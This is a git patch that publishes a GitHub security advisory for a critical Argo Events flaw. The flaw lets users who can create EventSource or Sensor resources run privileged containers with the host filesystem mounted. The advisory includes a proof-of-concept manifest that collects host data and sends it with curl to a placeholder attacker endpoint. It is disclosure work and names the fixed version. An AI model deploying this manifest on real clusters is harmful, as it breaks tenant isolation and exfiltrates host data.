From 5077808edef016a6bae48a150ac9683c4c9aca89 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
 <45398580+advisory-database[bot]@users.noreply.github.com>
Date: Mon, 14 Apr 2025 17:49:32 +0000
Subject: [PATCH] Publish GHSA-hmp7-x699-cvhq

---
 .../GHSA-hmp7-x699-cvhq.json                  | 63 +++++++++++++++++++
 1 file changed, 63 insertions(+)
 create mode 100644 advisories/github-reviewed/2025/04/GHSA-hmp7-x699-cvhq/GHSA-hmp7-x699-cvhq.json

diff --git a/advisories/github-reviewed/2025/04/GHSA-hmp7-x699-cvhq/GHSA-hmp7-x699-cvhq.json b/advisories/github-reviewed/2025/04/GHSA-hmp7-x699-cvhq/GHSA-hmp7-x699-cvhq.json
new file mode 100644
index 00000000000..ae7e93fb99b
--- /dev/null
+++ b/advisories/github-reviewed/2025/04/GHSA-hmp7-x699-cvhq/GHSA-hmp7-x699-cvhq.json
@@ -0,0 +1,63 @@
+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-hmp7-x699-cvhq",
+  "modified": "2025-04-14T17:47:39Z",
+  "published": "2025-04-14T17:47:39Z",
+  "aliases": [],
+  "summary": "Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR ",
+  "details": "### Summary:\n\nA user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.\n\n### Details:\n\nThe `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.\n\n```golang\n    if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {\n        if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {\n            return nil, err\n        }\n    }\n```\n\nWith these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.\n\nHere is an example that demonstrates the vulnerability.\n\n```\napiVersion: argoproj.io/v1alpha1\nkind: EventSource\nmetadata:\n  name: poc-vulnerable-eventsource\nspec:\n  webhook:\n    security-test:\n      port: \"12000\"\n      endpoint: \"/webhook\"\n  template:\n    container:\n      image: ubuntu:latest\n      command: [\"/bin/bash\"]\n      args: [\n        \"-c\",\n        \"apt-get update && apt-get install -y curl && while true; do\n         rm -f /tmp/data;\n         echo '=== containerd socket ===' > /tmp/data 2>&1;\n         ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;\n         echo '=== proof of host access ===' >> /tmp/data 2>&1;\n         cat /host/etc/hostname >> /tmp/data 2>&1;\n         curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;\n         sleep 300;\n         done\"\n      ]\n      securityContext:\n        privileged: true\n        capabilities:\n          add: [\"SYS_ADMIN\"]\n      volumeMounts:\n        - name: host-root\n          mountPath: /host\n    volumes:\n      - name: host-root\n        hostPath:\n          path: /\n```\n\n### Impact:\n\n- Multi-tenant Clusters:\n  - Tenant isolation broken\n  - Non-admin users can gain host/cluster access\n  - Access to other tenants' data\n\n- Security Model Bypass:\n  - RBAC restrictions circumvented\n  - Pod Security Policies/Standards bypassed\n  - Host system compromised\n\n### Patches\n\nA [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed.\n\n`v1.9.6`\n\n### Credits\n\nThis vulnerability was found & reported by:\n\n@thevilledev\n\nThe Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "Go",
+        "name": "github.com/argoproj/argo-events"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "1.9.6"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/argoproj/argo-events/security/advisories/GHSA-hmp7-x699-cvhq"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/argoproj/argo-events/pull/3528"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/argoproj/argo-events/commit/18412293a699f559848b00e6e459c9ce2de0d3e2"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/argoproj/argo-events"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-268"
+    ],
+    "severity": "CRITICAL",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-04-14T17:47:39Z",
+    "nvd_published_at": null
+  }
+}
\ No newline at end of file